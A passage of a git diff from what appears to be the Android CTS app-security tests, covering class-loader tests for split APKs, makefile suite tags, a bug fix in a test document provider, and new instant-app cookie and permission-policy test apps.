+ final Context context = mBaseActivityRule.getActivity();
+ assertEquals("dalvik.system.PathClassLoader",
+ context.getClassLoader().getClass().getName());
+ }
+
+ @Test
+ public void testFeatureAClassLoader() throws Exception {
+ final Context context = mFeatureActivityRule.launchActivity(
+ new Intent().setComponent(FEATURE_A_ACTIVITY));
+
+ // Feature A requests a DelegateLastClassLoader, so make sure
+ // it is given one.
+ final ClassLoader cl = context.getClassLoader();
+ assertEquals("dalvik.system.DelegateLastClassLoader", cl.getClass().getName());
+
+ // Also assert that its parent (the base) is a PathClassLoader.
+ assertEquals("dalvik.system.PathClassLoader", cl.getParent().getClass().getName());
+ }
+
+ @Test
+ public void testFeatureBClassLoader() throws Exception {
+ // Feature B depends on A, so we expect both to be available.
+ final Context context = mFeatureActivityRule.launchActivity(
+ new Intent().setComponent(FEATURE_B_ACTIVITY));
+
+ // Feature B requests a PathClassLoader but it depends on feature A, which
+ // requests a DelegateLastClassLoader.
+ final ClassLoader cl = context.getClassLoader();
+ assertEquals("dalvik.system.PathClassLoader", cl.getClass().getName());
+ assertEquals("dalvik.system.DelegateLastClassLoader", cl.getParent().getClass().getName());
+ }
+
+ @Test
+ public void testAllReceivers() throws Exception {
+ final Context context = mAppContextTestRule.getContext();
+ final ExtrasResultReceiver receiver = sendOrderedBroadcast(context);
+ final Bundle results = receiver.get();
+
+ // Base.
+ assertThat(results.getString("loaderClassName"),
+ equalTo("dalvik.system.PathClassLoader"));
+
+ // Feature A.
+ assertThat(results.getString("featureA_loaderClassName"),
+ equalTo("dalvik.system.DelegateLastClassLoader"));
+ assertThat(results.getString("featureA_parentClassName"),
+ equalTo("dalvik.system.PathClassLoader"));
+
+ // Feature B.
+ assertThat(results.getString("featureB_loaderClassName"),
+ equalTo("dalvik.system.PathClassLoader"));
+ assertThat(results.getString("featureB_parentClassName"),
+ equalTo("dalvik.system.DelegateLastClassLoader"));
+ }
+
+ private static class ExtrasResultReceiver extends BroadcastReceiver {
+ private final CompletableFuture<Bundle> mResult = new CompletableFuture<>();
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ mResult.complete(getResultExtras(true));
+ }
+
+ public Bundle get() throws Exception {
+ return mResult.get(5000, TimeUnit.SECONDS);
+ }
+ }
+
+ private static ExtrasResultReceiver sendOrderedBroadcast(Context context) {
+ final ExtrasResultReceiver resultReceiver = new ExtrasResultReceiver();
+ context.sendOrderedBroadcast(new Intent(PACKAGE + ".ACTION").setPackage(PACKAGE), null,
+ resultReceiver, null, 0, null, null);
+ return resultReceiver;
+ }
+
+ private static class AppContextTestRule implements TestRule {
+ private Context mContext;
+
+ @Override
+ public Statement apply(final Statement base, Description description) {
+ return new Statement() {
+ @Override
+ public void evaluate() throws Throwable {
+ mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ base.evaluate();
+ }
+ };
+ }
+
+ public Context getContext() {
+ return mContext;
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk
index feaaa03..9fd8b98 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk
@@ -28,4 +28,12 @@
LOCAL_SRC_FILES := b71361168.apk
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := PRESIGNED
+include $(BUILD_PREBUILT)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CtsCorruptApkTests_b79488511
+LOCAL_MODULE_CLASS := APPS
+LOCAL_SRC_FILES := b79488511.apk
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_CERTIFICATE := PRESIGNED
include $(BUILD_PREBUILT)
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk
index ef1e2bf..dc00656 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/b79488511.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b79488511.apk
new file mode 100644
index 0000000..22af499
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b79488511.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
index b98ba68..dbf5284 100644
--- a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
@@ -22,7 +22,7 @@
LOCAL_PACKAGE_NAME := CtsDeclareNonRuntimePermissions
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
index ec89ce9..0a55834 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsDocumentClient
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
index 915d432..7609e33 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsDocumentProvider
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
index edf6f15..91abb89 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
@@ -256,7 +256,7 @@
@Override
public void deleteDocument(String documentId) throws FileNotFoundException {
final Doc doc = mDocs.get(documentId);
- mDocs.remove(doc);
+ mDocs.remove(doc.docId);
for (Doc parentDoc : mDocs.values()) {
parentDoc.children.remove(doc);
}
@@ -268,7 +268,7 @@
// There are no multi-parented documents in this provider, so it's safe to remove the
// document from mDocs.
final Doc doc = mDocs.get(documentId);
- mDocs.remove(doc);
+ mDocs.remove(doc.docId);
mDocs.get(parentDocumentId).children.remove(doc);
}
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
index 930ac82..a4a9436 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsEncryptionApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
index e5cd607..2721a12 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Build the test APKs using their own makefiles
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
index b13432b..aaeb8c0 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
@@ -27,7 +27,7 @@
ctstestrunner
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
index 1dd66a6..4f0ee6c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
@@ -21,7 +21,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
index 453dbcb..31a45b0 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
@@ -24,7 +24,7 @@
legacy-android-test
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
index 4cd5d79..43deb82 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
@@ -24,7 +24,7 @@
legacy-android-test
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
index afd8903..5fa3765 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
@@ -21,7 +21,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
index 1b1ee7d..1206e56 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
@@ -24,7 +24,7 @@
legacy-android-test
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
index e1547a1..f446140 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
@@ -23,7 +23,7 @@
legacy-android-test
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
index b1b7f83..cd3c04e 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsEscalateToRuntimePermissions
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
index 560607b..47d468e 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
@@ -18,13 +18,13 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsExternalStorageApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
index 101d564..1f9063c 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
@@ -26,7 +26,9 @@
LOCAL_PACKAGE_NAME := CtsInstantCookieApp
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk
new file mode 100644
index 0000000..b154ae2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk
@@ -0,0 +1,39 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_PACKAGE_NAME := CtsInstantCookieApp2
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
+
+LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml
new file mode 100644
index 0000000..31f653d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="test.instant.cookie"
+ android:versionCode="1"
+ android:versionName="1.0"
+ android:targetSandboxVersion="2">
+
+ <application/>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="test.instant.cookie" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java
new file mode 100644
index 0000000..da1492f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package test.instant.cookie;
+
+import android.content.pm.PackageManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+@RunWith(AndroidJUnit4.class)
+public class CookieTest {
+ @Test
+ public void testCookiePersistedAcrossInstantInstalls2() throws Exception {
+ PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+ // After the upgrade the cookie should be the same
+ assertEquals("2", new String(pm.getInstantAppCookie()));
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
index 31dcd58..a48abbf 100644
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
@@ -21,12 +21,12 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_PACKAGE_NAME := CtsInstrumentationAppDiffCert
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with different cert than CtsTargetInstrumentationApp
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
index 8a7f8d9..0834642 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
@@ -21,7 +21,7 @@
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_EXPORT_PACKAGE_RESOURCES := true
LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
index 5a5ab0d..48b4e3b 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
@@ -19,7 +19,7 @@
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_EXPORT_PACKAGE_RESOURCES := true
LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
index 39111fc..64b5fc3 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
@@ -19,7 +19,7 @@
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
LOCAL_SRC_FILES := $(call all-subdir-java-files)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
index 15beac4..f21d1d0 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
@@ -19,7 +19,7 @@
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
LOCAL_SRC_FILES := $(call all-subdir-java-files)
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
index fd4d927..0744834 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
@@ -18,7 +18,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src) \
../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsMultiUserStorageApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
index 69d3b4a..32f36d0 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
@@ -23,7 +23,7 @@
LOCAL_PACKAGE_NAME := CtsNoRestartBase
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
index 204275b..626c0be 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
@@ -23,7 +23,7 @@
LOCAL_PACKAGE_NAME := CtsNoRestartFeature
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
index d038a70..dfa703a 100644
--- a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsPkgAccessApp
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
index e0e900e..184b73f 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsPermissionDeclareApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with a different cert than CtsUsePermissionDiffCert
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
index d4567e3..a5c227a 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsPermissionDeclareAppCompat
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with a different cert than CtsUsePermissionDiffCert
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
new file mode 100644
index 0000000..9206b6f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
@@ -0,0 +1,40 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-util \
+ ctstestrunner \
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsPermissionPolicyTest25
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml
new file mode 100644
index 0000000..10484fb
--- /dev/null
